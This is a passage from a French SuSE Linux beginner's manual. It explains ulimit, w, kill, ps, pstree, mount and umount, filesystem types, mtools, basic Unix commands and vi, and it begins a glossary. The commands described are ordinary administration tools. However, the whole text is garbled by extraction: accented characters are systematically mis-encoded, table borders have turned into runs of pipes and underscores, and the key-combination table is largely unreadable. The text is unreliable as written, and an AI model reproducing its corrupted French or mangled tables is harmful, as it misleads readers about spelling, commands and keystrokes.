bleau 19.7 page ci-contre par exemple sont tout α fait appropriΘes pour
limiter la consommation de mΘmoire.
_______________________________________________________________________________________________________*
*_________
-m Taille max. de la mΘmoire physique
-v Taille max. de la mΘmoire virtuelle (swap)
_______________________________________________________________________________________________________*
*_________
Tab. 19.7: Continuer α la page suivante...
496
____________________________________________________________________19.10.__Informations_sur_l'Θtat_du_systΦme______________*
*______________________
______________________________________________________________________________________________________________________
-s Taille max. de la pile
-c Taille max. des fichiers core
-a Affichage des limites fixΘes
______________________________________________________________________________________________________________________
Tab. 19.7: ulimit : Configurer les ressources pour l'utilisateur
Au niveau systΦme, il est possible de faire des configurations dans /etc/
profile. Ici, la fonction de crΘation de fichiers core (fichiers mΘmoire) dont
les programmeurs ont besoin pour le ``dΘbogage'' doit Ωtre opΘrationnelle.
L'utilisateur ne peut pas augmenter les valeurs dΘterminΘes par + l'adminis-
trateur systΦme dans /etc/profile mais il peut cependant ajouter une confi-
guration spΘciale dans son propre fichier ~/.bashrc. Voir le fichier 19.10.1.
_______________________________________________________________________________________________________________________|#| L*
*imite de la mΘmoire rΘel@
||||||||ulimit -m 98304 |
|||||||| |
|||||||| |
||||||||# Limite de la mΘmoire virtuelle: |
|||||||| |
||||||||ulimit__-v__98304______________________________________________________________________________________________ |
fichier 19.10.1: ParamΦtres ulimit dans ~/.bashrc
Les spΘcifications concernant la mΘmoire doivent Ωtre faites en Ko.
Pour plus de dΘtails, jetez un coup d'oeil α la page de man de bash
(man bash ).
*
* 497
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
19.10.4 La commande w
La commande w montre tous les utilisateurs actuellement connectΘs au sys-
tΦme. Cette commande procure un tas d'informations utiles. Elle vous fait
non seulement savoir combien d'utilisateurs travaillent sur votre systΦme
mais aussi depuis combien de temps le systΦme est en marche, quelle est
sa charge actuelle et quelles sont les activitΘs des diffΘrents utilisateurs (voir
affichage 19.10.3).
________________________________________________________________________________________________________*
*________||
| 11:05am up 21 days, 21:10, 8 users, load average: 0.23, 0.10, 0.10 *
* |
|USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT *
* |
|root tty1 - 11:02am 3:34 0.10s 0.05s -bash *
* |
|tux tty3 - 11:04am 1:24 1.29s 1.22s emacs *
* |
|tux pts/1 :0.0 11Feb 0 19:42m 1:18 0.02s sed *
* |
| *
* |
|tux pts/2 :0.0 30Jan 0 18:35m 56.29s ? - *
* |
|tux pts/6 :0.0 31Jan 0 4.00s 1.47s ? - *
* |
|tux pts/3 :0.0 31Jan 0 2days 1.86s 1.44s bash *
* |
| *
* |
|tux pts/9 :0.0 1Feb 0 2days 3.52s ? - *
* |
|tux pts/10 :0.0 2Feb 0 59:19 9.10s 8.56s lynx *
* |
|tux pts/11 :0.0 2Feb 0 0.00s 26:49 0.01s *
* |
| rlogin vΘnus *
* |
| *
* |
|tux__________pts/12_____vΘnus.cosmos.univers_____11:09am___0.00s___0.11s___0.04s___w___________________*
*________ |
affichage α l'Θcran 19.10.3: Sortie de w
19.10.5 La commande du
La commande du (angl. disk usage) vous renseigne sur l'espace disque oc-
cupΘ par les sous-rΘpertoires et les diffΘrents fichiers. Vous trouverez de plus
amples informations α ce sujet dans la page de man de du (man du ).
19.10.6 La commande kill
Envoi de signaux aux + processus en cours d'exΘcution. Demande comme
argument le numΘro d'identification du processus (angl. process id - PID) qui
peut Ωtre obtenu par ps (voir paragraphe 19.10.7). La commande kill est
invoquΘe par
terre: # kill <pid>
Si le processus en question intercepte le signal d'arrΩt sans rΘagir, il peut
quand mΩme Ωtre terminΘ par le paramΦtre optionnel -9 . La commande
terre: # kill -9 <pid>
tue dΘfinitivement le processus avec ce <pid>.
19.10.7 La commande ps
La commande ps (angl. process status) montre les processus lancΘs par l'uti-
lisateur. Vous trouverez de plus amples informations sur cette commande dans
la page de man de ps (man ps ). La commande ps -a montre les processus en
cours d'exΘcution appartenant aux autres utilisateurs. Par la spΘcification du
numΘro de processus (1Φre colonne de la sortie de ps ), il est possible d'arrΩter
certains processus en cours d'exΘcution (voir paragraphe 19.10.6).
498
___________________________________________19.11.__SystΦmes_de_fichiers_sous_Linux_~_mount______et_umount___________________*
*______________________
19.10.8 La commande pstree
pstree affiche l'arborescence complΦte des processus sous une forme facile
α superviser.|Voir|l'affichage 19.10.4. |
|||||||| |
_______________________________________________________________________________________________________________________||
||||||||init-+-bash---startx---xinit-+-X |
|||||||| | `-sh---fvwm-+-FvwmPager |
|||||||| |
|||||||| | |-FvwmWinList |
|||||||| | |-GoodStuff |
|||||||| |
|||||||| | |-xclock |
|||||||| | `-xeyes |
|||||||| |-color_xterm---bash---xdvi.bin---gs |
|||||||| |
|||||||| |-2*[color_xterm---bash---vi] |
|||||||| |-color_xterm---bash---pstree |
|||||||| |
|||||||| |-coolmail---coolmail---xterm---pine |
|||||||| |-cron |
|||||||| |
|||||||| |-gpm |
|||||||| |-inetd |
|||||||| |
|||||||| |-kflushd |
|||||||| |-klogd |
|||||||| |
|||||||| |-kswapd |
|||||||| |-5*[mingetty] |
|||||||| |
|||||||| |-4*[nfsiod] |
|||||||| |-sh---master---slipto |
|||||||| |-syslogd |
|||||||| |
|||||||| |-update |
|||||||| |-xload |
|||||||| |
||||||||_________`-xosview_____________________________________________________________________________________________ |
affichage α l'Θcran 19.10.4: Sortie de pstree
19.10.9 La commande top
Affichage de tous les processus en cours d'exΘcution, de la charge assumΘe
par le systΦme etc. Cette liste est pΘriodiquement_actualisΘe et l'on termine
l'affichage en appuyant sur la touche |q_ |.
19.11 SystΦmes de fichiers sous Linux ~ mount et umount
19.11.1 Vue d'ensemble
La manipulation des systΦmes de fichiers constitue parfois un art en soi.
Sous Linux, vous disposez de nombreux + systΦmes de fichiers diffΘrents. Il
vous en est prΘsentΘ une sΘlection au tableau 19.8 page suivante.
______________________________________________________________________________________________________________________
affs SystΦme de fichiers utilisΘ sur Amiga (angl. Amiga Fast Fi-
lesystem).
______________________________________________________________________________________________________________________
Tab. 19.8: Continuer α la page suivante...
*
* 499
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
ext2 (angl. Second extended Filesystem) Le systΦme de fichiers
standard sous Linux.
hpfs SystΦme de fichiers standard de IBM OS/2 (angl. High Per-
formance Filesystem). Il est supportΘ par Linux uniquement
avec accΦs en lecture seule (angl. read-only).
iso9660 SystΦme de fichiers standard sur CD~ROM.
minix Ce systΦme de fichiers a son origine dans des projets d'en-
seignement supΘrieur concernant les systΦmes d'exploitation
et fut le premier systΦme de fichiers utilisΘ pour Linux. └
l'heure actuelle, il est surtout utilisΘ sous Linux comme sys-
tΦme de fichiers pour disquettes.
msdos SystΦme de fichiers conτu initialement pour DOS mais uti-
lisΘ aujourd'hui par divers systΦmes d'exploitation.
ncpfs SystΦme de fichiers pour intΘgrer les volumes Novell.
nfs Ici, les donnΘes se trouvent sur le disque d'une autre machine
et sont rendues accessibles de faτon transparente α travers un
rΘseau (angl. Network Filesystem).
proc SystΦme de fichiers de processus (virtuel).
smbfs SMB (angl. Server Message Block) est un protocole utilisΘ
par WfW , Windows NT et LAN Manager pour mettre α dis-
position des fichiers α travers un rΘseau.
sysv SystΦme de fichiers utilisΘ par SCO-Unix , Xenix et Coherent
(systΦmes Unix commerciaux pour PC).
ufs SystΦme de fichiers utilisΘ par BSD , SunOS et NeXTstep .
Ce systΦme de fichiers est supportΘ par Linux uniquement en
mode lecture seule (angl. read-only).
umsdos (angl. Unix on MSDOS) basΘ sur un systΦme de fichiers fat
ordinaire, il peut Ωtre dotΘ, par la crΘation de fichiers spΘ-
ciaux, des fonctionnalitΘs Unix (permissions, liens, noms de
fichiers longs). Il est toutefois trΦs lent.
vfat Extension du systΦme de fichiers fat . Permet d'utiliser des
noms de fichiers longs (angl. Virtual FAT ).
_______________________________________________________________________________________________________*
*_________
Tab. 19.8: Types de systΦmes de fichiers sous Linux
19.11.2 Montage et dΘmontage de systΦmes de fichiers
Par la commande mount , exΘcutΘe normalement par le seul utilisateur
`root', un support de donnΘes est intΘgrΘ dans le systΦme de fichiers
Linux. Ici, mount requiert deux arguments :
~ le nom du support de donnΘes (correspondant au nom du pΘriphΘrique,
par exemple /dev/hda3)
~ et un rΘpertoire sous lequel le support de donnΘes doit Ωtre rattachΘ ; ce
rΘpertoire doit dΘjα exister.
500
__________________________________________________________19.12.__Commandes_DOS_sous_Unix_avec_mtools_______________________*
*______________________
L'option -t <type-de-systΦme-de-fichiers> indique le type de sys-
tΦme de fichiers qui doit Ωtre montΘ (voir tableau 19.8 page prΘcΘdente).
Exemple : l'appel de
terre:/ # mount -t msdos /dev/hda2 /dosa
met α disposition la partition DOS hda2 sous le rΘpertoire /dosa. Le rΘper-
toire /dosa doit Ωtre crΘΘ auparavant (voir paragraphe 19.6 page 486).
Si certains pΘriphΘriques (angl. devices) doivent toujours Ωtre montΘs au
mΩme emplacement dans le systΦme de fichiers (par exemple le lecteur de
disquettes ou des lecteurs de CD-ROM supplΘmentaires), vous devriez faire
une entrΘe dans le fichier /etc/fstab ; voir α ce sujet la page de man de
mount (man 8 mount ).
Par l'option -r , un support de donnΘes est montΘ en lecture seule (angl.
read-only). L'Θcriture de donnΘes sur ce support n'est pas autorisΘe. D'autres
options sont dΘcrites dans la page de man de mount (man 8 mount ).
_______________________________________________________________________________________________________________________||
|||||||| Si vous voulez Θcrire sur des partitions DOS en tant qu'utilisateur normal ||| |
|||||||| (pas sous le compte `root'), informez-vous sur la marche α suivre dans || |
|||||||| || |
|||||||| http://sdb.suse.de/sdb/en/html/kfr_18.html. || |
||||||||_______________________________________________________________________________________________________________||_
mount Θtablit un protocole du systΦme de fichiers montΘ. Ce protocole se
trouve dans le fichier /etc/mtab. Si mount est invoquΘ sans arguments, le
contenu de ce fichier sera affichΘ. C'est ainsi que l'on obtient une liste de
tous les fichiers montΘs. Par umount , un support de donnΘes est supprimΘ du
systΦme de fichiers Linux7 . Comme argument pour umount , on peut spΘcifier
soit le nom du fichier de pΘriphΘrique, soit le nom du rΘpertoire dans lequel
le support de donnΘes est intΘgrΘ. Pour ``dΘmonter'' par exemple /dev/hda2
qui se trouve sous /dosa on peut entrer soit
terre: # umount /dosa
soit
terre: # umount /dev/hda2
_______________________________________________________________________________________________________________________||
|||||||| Dans le cas de systΦmes de fichiers montΘs α partir de disquettes ou autres ||| |
|||||||| || |
|||||||| supports amovibles, il est essentiel, avant de retirer la disquette, d'exΘcuter || |
|||||||| || |
|||||||| la commande umount . || |
|||||||| S'il existe encore des fichiers ouverts sur un support de donnΘes montΘ, les || |
|||||||| || |
|||||||| donnΘes seront rΘΘcrites α l'appel de la commande umount ; si ce n'est pas || |
|||||||| possible, vous recevrez un message d'erreur. || |
|||||||| || |
|||||||| Si l'on veut dΘmonter un systΦme de fichiers, il ne doit plus y avoir aucun || |
|||||||| utilisateur dans un rΘpertoire (par exemple avec un shell) se trouvant au || |
|||||||| || |
|||||||| dessous du point de montage. || |
||||||||_______________________________________________________________________________________________________________||_
19.12 Commandes DOS sous Unix avec mtools
Pour la manipulation des systΦmes de fichiers DOS, aussi bien sur disque
dur que sur disquette, on dispose des mtools du paquetage mtools, sΘrie
7 ____________________________________________________
Le nom de la commande Θtait en fait unmount mais le caractΦre `n' a disparu au cours de
l'Θvolution du systΦme Unix.
*
* 501
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
ap. Ici, chacun des programmes tente d'Θmuler aussi bien que possible son
Θquivalent sous DOS. Toutes les commandes mtools ont le mΩme nom que
les commandes correspondantes sous DOS avec un `m' comme prΘfixe, par
exemple mcopy . mcopy .
________________________________________________________________________________________________________*
*________
| Les commandes mtools ne doivent Ωtre utilisΘes que si la disquette n'est *
* |||
| *
* |||
| pas montΘe ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Les noms de fichiers DOS sont constituΘs d'une lettre de lecteur suivie d'un
double point, d'un sous-rΘpertoire (optionnel) ainsi que du nom de fichier
proprement dit. Pour sΘparer les sous-rΘpertoires sous DOS, on utilise exclu-
sivement la barre oblique inversΘe `\'.
Avec les mtools sous Linux, on peut utiliser aussi bien la barre oblique `/'
que la barre oblique inversΘe `\'. Si l'on utilise la barre oblique inversΘe `\'
ou des + wildcards tels que par exemple `*' ou ` ?', ceux-ci doivent Ωtre
placΘs entre guillemets, sinon ils seraient d'abord interprΘtΘs par le shell et ne
parviendraient pas jusqu'α la commande mtools .
L'astΘrisque simple `*' correspond pour mtools α la suite de caractΦres
`*.*'. Au lieu de la traditionnelle barre oblique `/' qui sert α passer des
paramΦtres sous DOS, on utilise sous Linux le signe de soustraction `-'.
Le lecteur standard pour mtools est le premier lecteur de disquettes (sous
DOS `a :') et mtools prend le rΘpertoire racine de la disquette a :\
comme rΘpertoire par dΘfaut. Si un autre rΘpertoire doit Ωtre utilisΘ, changez
au moyen de mcd . N'oubliez pas, avant d'insΘrer une autre disquette, de re-
tourner dans le rΘpertoire racine du support de donnΘes sinon aucune nouvelle
arborescence des rΘpertoires ne pourra Ωtre lue.
Voici les commandes (DOS) couramment supportΘes par mtools :
_______________________________________________________________________________________________________*
*_________
mattrib Modification des attributs des fichiers DOS (hidden ,
system , etc.).
mcd Changement de rΘpertoire.
mcopy Copier depuis/vers DOS vers/depuis Unix, aussi de maniΦre
rΘcursive. Notez que vous ne devez pas oublier d'indiquer
ici la destination.
mdel Effacement d'un fichier DOS.
mdeltree Effacement rΘcursif d'un rΘpertoire DOS.
mdir Affichage d'un rΘpertoire DOS.
mformat CrΘation d'un systΦme de fichiers DOS sur une disquette
formatΘe bas niveau. Le formatage de bas niveau se fait par
la commande fdformat .
mlabel Renommer un support de donnΘes DOS.
mmd CrΘation d'un sous-rΘpertoire DOS.
mrd Effacement d'un sous-rΘpertoire DOS.
mread Lecture d'un fichier DOS dans un systΦme Unix.
_______________________________________________________________________________________________________*
*_________
Tab. 19.9: Continuer α la page suivante...
502
_______________________________________________________________19.13.__Vue_d'ensemble_des_commandes_Unix____________________*
*______________________
______________________________________________________________________________________________________________________
mren Renommer un fichier DOS existant.
mtype Affiche le contenu d'un fichier DOS.
mwrite Copie bas niveau d'un fichier Unix sur un systΦme de fi-
chiers DOS.
______________________________________________________________________________________________________________________
Tab. 19.9: Commandes du paquetage mtools
Par dΘfaut, il est prΘsumΘ que le pΘriphΘrique a: est un lecteur de disquettes
3.5 pouces et le pΘriphΘrique B: un lecteur de disquettes 5.25 pouces. Les
formats de disquettes 720 Ko et 1.44 Mo ou 360 Ko et 1.2 Mo sont ici
supportΘs.
Dans /etc/mtools.conf, il est possible de modifier ces paramΦtres par
dΘfaut. Les entrΘes sont rΘparties chacune dans une ligne de la faτon suivante :
~ Nom de lecteur (sous DOS), par exemple a:
~ Fichier de pΘriphΘrique (Linux), par exemple /dev/fd0
~ NumΘro identificateur (12 pour lecteur de disquettes, 16 pour disque dur)
~ Nombre de pistes, tΩtes et secteurs
Une modification des paramΦtres permet d'utiliser deux lecteurs de disquettes
3.5 pouces. On ne devrait toutefois pas spΘcifier deux fois la mΩme lettre de
lecteur DOS ou le mΩme fichier de pΘriphΘrique.
19.13 Vue d'ensemble des commandes Unix
Les commandes les plus importantes sont listΘes dans le tableau 19.10 page
suivante ; les paramΦtres optionnels sont indiquΘs entre crochets `[]'.
______________________________________________________________________________________________________________________
cd repert Passe dans le rΘpertoire
repert.
cd .. Passe dans le rΘpertoire pΦre.
cd /repert Passe dans le rΘpertoire
/repert.
cd [ ] Passe dans le rΘpertoire utili-
sateur.
cp fichiersource fichiercible Copie fichiersource vers
fichiercible.
______________________________________________________________________________________________________________________
Tab. 19.10: Continuer α la page suivante...
*
* 503
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
ln [-s] rΘfΘrence nom CrΘe, dans le rΘpertoire cou-
rant, le lien [symbolique]
nom pointant sur le fichier
rΘfΘrence.nom spΘcifie le
chemin dans lequel le fichier
recherchΘ pourra Ωtre re-
trouvΘ. Seuls des liens sym-
boliques peuvent Ωtre crΘΘs
α travers diffΘrents systΦmes
de fichiers. Les liens sym-
boliques peuvent mΩme faire
rΘfΘrence α des rΘpertoires.
ls [repert] Liste tous les fichiers et rΘ-
pertoires dans le rΘpertoire
repert (uniquement noms
de fichiers).
ls -l [repert] Liste tous les fichiers et rΘ-
pertoires dans le rΘpertoire
repert (affichage long dΘ-
taillΘ). Sans paramΦtres : le
contenu du rΘpertoire cou-
rant.
ls -a [repert] Affiche aussi les fichiers
cachΘs, (par exemple ~/
.xinitrc).
mkdir nouveaurepert CrΘe le rΘpertoire
nouveaurepert.
less fichier Affiche un fichier page par
page (dΘfilement en avant
avec la barre_d'espace, en ar-
riΦre avec |b_ |).
mv defichier versfichier DΘplace un fichier ou le re-
nomme.
rm fichier Efface fichier (y compris
les liens !).
rm -r repert Effacement rΘcursif du rΘ-
pertoire repert (avec sous-
rΘpertoires.
rmdir repert Efface le rΘpertoire repert
(s'il est vide).
_______________________________________________________________________________________________________*
*_________
Tab. 19.10: Vue d'ensemble des principales commandes Unix
Dans le tableau 19.11 page ci-contre, vous trouverez quelques commandes
qui vous aideront α effectuer des recherches.
504
___________________________________________________________________________________________________19.14.__Pour_terminer____*
*______________________
______________________________________________________________________________________________________________________
find . -name "fichier" Recherche fichier dans tous les sous-
rΘpertoires du rΘpertoire courant.
find . -name "*emil*" Recherche tous les fichiers dont le nom
contient la chaεne de caractΦres `emil'.
commande man Donne une description de commande .
grep chaεnes fichiers Recherche dans tous les fichiers la
`chaεne' spΘcifiΘe qui peut bien s√r
contenir des ``expressions rΘguliΦres''
(voir paragraphe 19.7.2 page 488 ou
man regexp ).
______________________________________________________________________________________________________________________
Tab. 19.11: Aperτu des commandes de recherche
19.14 Pour terminer
Les rΘpertoires gΘnΘraux de commandes sous Linux sont :
~ /bin
~ /sbin
~ /usr/bin
~ /usr/sbin
~ /usr/X11R6/bin
Vous y trouverez encore de nombreuses autres commandes.
Avec man <commande> , vous obtiendrez des informations dΘtaillΘes sur les
commandes et programmes disponibles, α condition bien s√r qu'il existe une
page de man (voir paragraphe 19.9 page 494). La sortie est dirigΘe vers le
pΘriphΘrique de sortie standard (en gΘnΘral l'Θcran).
└ l'aide des pipes, symbolisΘs dans la ligne d'invite du shell par le caractΦre
`|', vous pouvez faire ces sorties directement sur l'imprimante ou, le cas
ΘchΘant, les faire Θcrire directement dans des fichiers.
Exemple :
Vous voulez faire imprimer la page de man se rapportant α la commande ls .
Pour cela, vous devez taper :
tux@terre: > man -t ls | lpr
Vous trouverez des introductions aux pages de man classΘes par thΦmes dans
le systΦme d'aide hypertexte de votre SuSE Linux. Lancez simplement la
commande susehelp . Vous avez aussi la possibilitΘ de suivre les hyperliens
vers d'autres pages de man.
*
* 505
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
19.15 L'Θditeur vi
L'utilisation de vi demande une certaine habitude. Nous lui donnons toutefois
ici la prΘfΘrence par rapport α d'autres Θditeurs car d'une part il est disponible
sur tout systΦme de type Unix et fait partie d'une installation Linux standard
et d'autre part son mode d'utilisation est clair et ne prΩte en gΘnΘral α aucune
confusion. De plus : lorsque rien ne va, on peut compter sur vi .
Les instructions succinctes qui vont suivre devraient vous permettre par
exemple d'Θditer divers fichiers de configuration α l'aide de vi .
Concept :
vi connaεt 3 modes de fonctionnement :
~ Mode commande (angl. command mode)
Chaque pression de touche est interprΘtΘe comme partie d'une com-
mande.
~ Mode insertion (angl. insert mode)
Les pressions de touches sont interprΘtΘes comme entrΘes de texte.
~ Mode commande complexe (angl. last line mode)
Pour commandes plus complexes ΘditΘes dans la derniΦre ligne.
Principales commandes du mode commande :
_______________________________________________________________________________________________________*
*_________
i passe en mode insertion (les caractΦres sont insΘrΘs avant le curseur
courant).
a passe en mode insertion (les caractΦres sont insΘrΘs aprΦs le curseur
courant).
A passe en mode insertion (les caractΦres sont insΘrΘs α la fin de la
ligne)
R passe en mode insertion (l'ancien texte est remplacΘ).
r passe en mode insertion pour remplacer un seul caractΦre.
s passe en mode insertion (le caractΦre sur lequel le curseur est posi-
tionnΘ est remplacΘ par l'entrΘe).
C passe en mode insertion (le reste de la ligne est remplacΘ par le
nouveau texte.
o passe en mode insertion (une nouvelle ligne est insΘrΘe aprΦs la
ligne courante.
O passe en mode insertion (une nouvelle ligne est insΘrΘe avant la
ligne courante.
x efface le caractΦre courant.
dd efface la ligne courante.
dw efface jusqu'α la fin du mot courant.
cw passe en mode insertion (le reste du mot courant est remplacΘ par
l'entrΘe).
u annule la derniΦre entrΘe.
_______________________________________________________________________________________________________*
*_________
Tab. 19.12: Continuer α la page suivante...
506
_______________________________________________________________________________________________________19.15.__L'Θditeur_vi_*
*______________________
______________________________________________________________________________________________________________________
J concatΦne la ligne suivante α la ligne courante.
. rΘpΦte la derniΦre commande.
: passe en mode commande complexe.
______________________________________________________________________________________________________________________
Tab. 19.12: Commandes simples de l'Θditeur vi
Toutes les commandes peuvent Ωtre prΘcΘdΘes d'un chiffre qui indique le
nombre d'objets auquels la commande doit se rapporter. L'entrΘe de `3dw'
provoque l'effacement de trois mots α la fois. Par l'entrΘe de `10x', on pro-
voque l'effacement de dix caractΦres α partir de l'endroit o∙ est positionnΘ le
curseur et avec `20dd' on efface vingt lignes.
Principales commandes du mode commande complexe :
______________________________________________________________________________________________________________________
:q ! quitte vi , sans sauvegarder les modifications
:w <fichier> sauvegarde sous <fichier>
:x sauvegarde le fichier modifiΘ et quitte l'Θditeur
:e <fichier> Θdite (charge) <fichier>
:u annule la derniΦre commande d'Θdition
______________________________________________________________________________________________________________________
Tab. 19.13: Commandes complexes de l'Θditeur vi
En appuyant sur la touche |E________|chap, on passe du mode insertion au mode co-
mande.
*
* 507
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
508
Annexe A
Combinaisons de touches
importantes
Quelques unes des combinaisons de touches utiles et importantes.
_______________________________________________________________________________________________________________________
|||||__
_- ___|___ En ligne de commande, exΘcution d'une com-
mande. Autrement, retour α la ligne.
Alt||||||__+ |F___|_1-|F___|_6 Passage α une autre console (en mode texte).
|||||____ ____ ___ ___
Ctr____|____l+ |A____l|t+ |F___|1-|F___|6Sous X11 et Dosemu : Passage α l'une des
consoles virtuelles.
Alt||||||__+ |F___|_7 Retour α X11.
|||||____ ____
Ctr____|____l+_____|A____l|t_ + Quitter X11.
Bac|||||_______|____kspace
|||||_______ _________
Maj_______|____.+ *|_________|Page ─ ffichage des pages d'Θcran prΘcΘdentes.
Fonctionne jusqu'au moment o∙ l'on change
de console.
Maj|||||__|_____.+ *|_________|_Page I#nverse de |M__________|aj.+ *|_________|_Page. "
|||||_
" ||__ Affiche la commande prΘcΘdente dans la ligne
de commande actuelle
# ||||||__ Sous le shell, produit l'effet inverse de |"__|.
|||||_______ ____
Maj_______|____.+_* |A____l|t + Sous X11 : Passage, dans l'Θcran virtuel, α la
Cur|||||__|____sor plus proche fenΩtre situΘe dans le sens de la
flΦche. Le nombre de fenΩtres disponibles est
dΘterminΘ dans .fvwm[2]rc par le paramΦtre
DeskTopSize .
Ctr||||||____l+ |A_____|lt + Change la rΘsolution de l'Θcran selon l'ordre
|||||_________
(g_________|____ris) des entrΘes faites pour le mode Θcran dans
/etc/XF86Config.
Ctr||||||____l+ |D__| DΘconnexion. Correspond α la commande
exit . EntrΘe dans /etc/profile :
ignoreeof=x . x indique le nombre de
rΘpΘtitions nΘcessaires pour que la commande
devienne active.
_______________________________________________________________________________________________________________________
Tab. A.1:
*
* 509
A. Combinaisons de_touches_importantes____________________________________________________________________________________________*
*_______________________________________@
510
Annexe B
Glossaire
Dans ce glossaire, nous nous sommes limitΘs α dΘfinir les expressions ou
abrΘviations spΘcifiques α UNIX ou α Linux car le nombre de pages ne nous
permet pas une introduction approfondie au traitement Θlectronique des don-
nΘes. Le lecteur du prΘsent glossaire devrait donc dΘjα Ωtre familiarisΘ avec
des termes tels que bit et octet.
Acronyme
Les abrΘviations qui se prononcent comme un seul mot sont dΘsignΘes
sous le nom d'acronymes. + Linux, + GNU et + RAM sont des acronymes
bien connus.
Administrateur systΦme (angl. system administrator, root user)
C'est la personne qui, dans un systΦme complexe ou un rΘseau, se
charge des configurations et de la maintenance. L'administrateur systΦme
(`root') est le seul a avoir accΦs α toutes les ressources d'un systΦme (il
possΦde les droits root).
Adresse IP
Adresse Internet 32 bits, habituellement en notation dΘcimale, sous forme
de quatre nombres sΘparΘs par des points (par exemple 192.168.10.1) ex-
pressΘment assignΘe α une machine connectΘe au rΘseau. Si une machine
possΦde plusieurs connexions rΘseau (passerelle, (angl. gateway)), elle a
aussi plusieurs adresses IP.
Alias
Le plus frΘquemment, on emploie le terme alias en relation avec le + shell
(interprΘteur de commandes). Avec un alias, on peut abrΘger des com-
mandes longues ou trΦs souvent utilisΘes. Voyez α ce sujet le paragraphe
concernant la manipulation de l'interprΘteur de commandes.
Amorτage
L'amorτage (appelΘ aussi boot) dΘsigne le processus de chargement d'un
systΦme, α partir de l'allumage de la machine jusqu'au moment o∙ le sys-
tΦme est α la disposition de l'utilisateur. Sous Linux, on entend par ce
terme le lancement du noyau et le ``dΘmarrage'' des services du systΦme
qui s'annoncent par le message `uncompressing linux...' et se ter-
minent par l'invite `login :'.
ATAPI
ATAPI est une interface conτue pour piloter et contr⌠ler les pΘriphΘriques
*
* 511
B. Glossaire _________________________________________________________________________________________________________________*
*_______________________________________@
connectΘs α un contr⌠leur (E)IDE. Les lecteurs de CD-ROM ATAPI
(+ Lecteur de CD-ROM) sont particuliΦrement rΘpandus. Mais il existe
aussi maintenant des lecteurs Zip, des lecteurs de bandes (angl. streamers)
et des lecteurs de disquettes qui fonctionnent α l'aide de cette interface.
Tous ces pΘriphΘriques sont supportΘs par Linux.
Backup
Backup est le mot anglais pour les copies de sauvegarde. On devrait faire
rΘguliΦrement des copies de sauvegarde, particuliΦrement pour les don-
nΘes importantes. Certaines configurations de programmes (trΦs souvent
rΘalisΘes avec beaucoup de peine) mΘritent Θgalement d'Ωtre sauvegar-
dΘes. Sous Linux, la technique fondamentale de sauvegarde des donnΘes
sur un + pΘriphΘrique est l'exΘcution de la commande tar . TrΦs souvent,
tar est utilisΘ conjointement α gzip .
BIOS (angl. Basic Input Output System)
Chaque PC possΦde une petite zone de mΘmoire dans laquelle est enre-
gistrΘ ce que l'on appelle le BIOS. Le BIOS contient des programmes
d'initialisation et de test pour le dΘmarrage du systΦme ainsi que quelques
pilotes (relativement simples) pour les pΘriphΘriques essentiels : clavier,
carte vidΘo, lecteurs, interfaces, horloge. Sous Linux, le BIOS n'est pas
actif car il fonctionne en ``mode rΘel'' (+ CPU) et il est dΘsactivΘ lors de
l'amorτage du noyau. Mais le noyau sous Linux met α disposition des
routines nettement plus performantes que le BIOS.
Boot (angl. boot strap = tirant de botte)
+ Amorτage
Buffer
+ Tampon
CaractΦres jokers (angl. wildcards)
+ Wildcards
Chemin d'accΦs (angl. path)
Par le chemin d'accΦs, la position d'un + fichier dans un + systΦme de fi-
chiers est dΘfinie sans aucune ambigu∩tΘ. Sous Unix, les diffΘrents niveaux
de rΘpertoires sont sΘparΘs par une barre oblique `/' appelΘe slash. On
distingue deux types de chemins :
~ chemin relatif : la position d'un fichier ou d'un rΘpertoire est dΘfinie
par rapport au rΘpertoire courant.
~ chemin absolu : la position est dΘfinie ici par rapport au + rΘpertoire
racine.
Commutateur (angl. switch)
Les commutateurs permettent α l'utilisateur d'agir sur le comportement
par dΘfaut des programmes. La + ligne de commande est constituΘe par le
nom du programme Θventuellement suivi par les commutateurs.
Compte (angl. account)
C'est l'ensemble constituΘ par le nom d'utilisateur (angl. login name) et le
512
________________________________________________________________________________________________________________B.__Glossaire_*
*____________________
mot de passe (angl. password). Le compte est en gΘnΘral crΘΘ par l'+ ad-
ministrateur systΦme. Il dΘtermine Θgalement α quel groupe le nouvel uti-
lisateur doit appartenir et quels droits lui sont attribuΘs. La mise en place
d'un compte implique la plupart du temps la crΘation d'un + rΘpertoire
personnel et l'assignation d'une adresse + E-Mail (courrier Θlectronique)
α l'utilisateur.
Console (angl. console, terminal)
Autrefois, la console Θtait assimilΘe au terminal. Sous Linux il existe ce
que l'on appelle les ``consoles virtuelles''. Elles permettent d'utiliser un
seul Θcran pour plusieurs sessions indΘpendantes mais simultanΘes (voir
paragraphe 19.4 page 485). Le + niveau d'exΘcution standard (runlevel 2)
prΘvoit 6 consoles virtuelles auxquelles_ vous_ pouvez accΘder_ en vous_
servant respectivement des touches |A____l|t+ |F___|1jusqu' α |A____l|t+ |F___|6.
└ partir du systΦme X Window, qui utilise_ la console_ 7, _vous_ pouvez ______
accΘder_aux consoles_texte au moyen de |C______|trl+ |A____l|t+ |F___|1jusqu'α |C______|trl
+ |A____l|t+ |F___|6.
Courrier Θlectronique
+ E-Mail
CPU (angl. Central Processing Unit)
UnitΘ centrale de traitement, appelΘe aussi processeur. Les processeurs
Intel de la famille x86 peuvent fonctionner en diffΘrents modes. Nous
allons ici en distinguer deux :
~ le mode rΘel : C'est le mode d'exΘcution natif. Il est lent et dΘsuet pour
les applications (``logiciels 16 bits''). Il n'existe, en mode rΘel, ni zones
ni commandes protΘgΘes. C'est dans ce mode que la machine dΘmarre
lorsqu'elle est allumΘe ou rΘinitialisΘe + RΘinitialisation. En outre, la
taille des segments est limitΘe ici α 64Ko.
~ le mode protΘgΘ : (utilisable α partir de 286). Mode d'exΘcution
dans lequel on distingue diffΘrents niveaux de privilΦges. Ce n'est
que dans l'Θtat dit ``Ring0'' du processeur que ``tout est permis'' (ici
c'est le royaume du noyau Linux), avec ``Ring3'' par contre (niveau
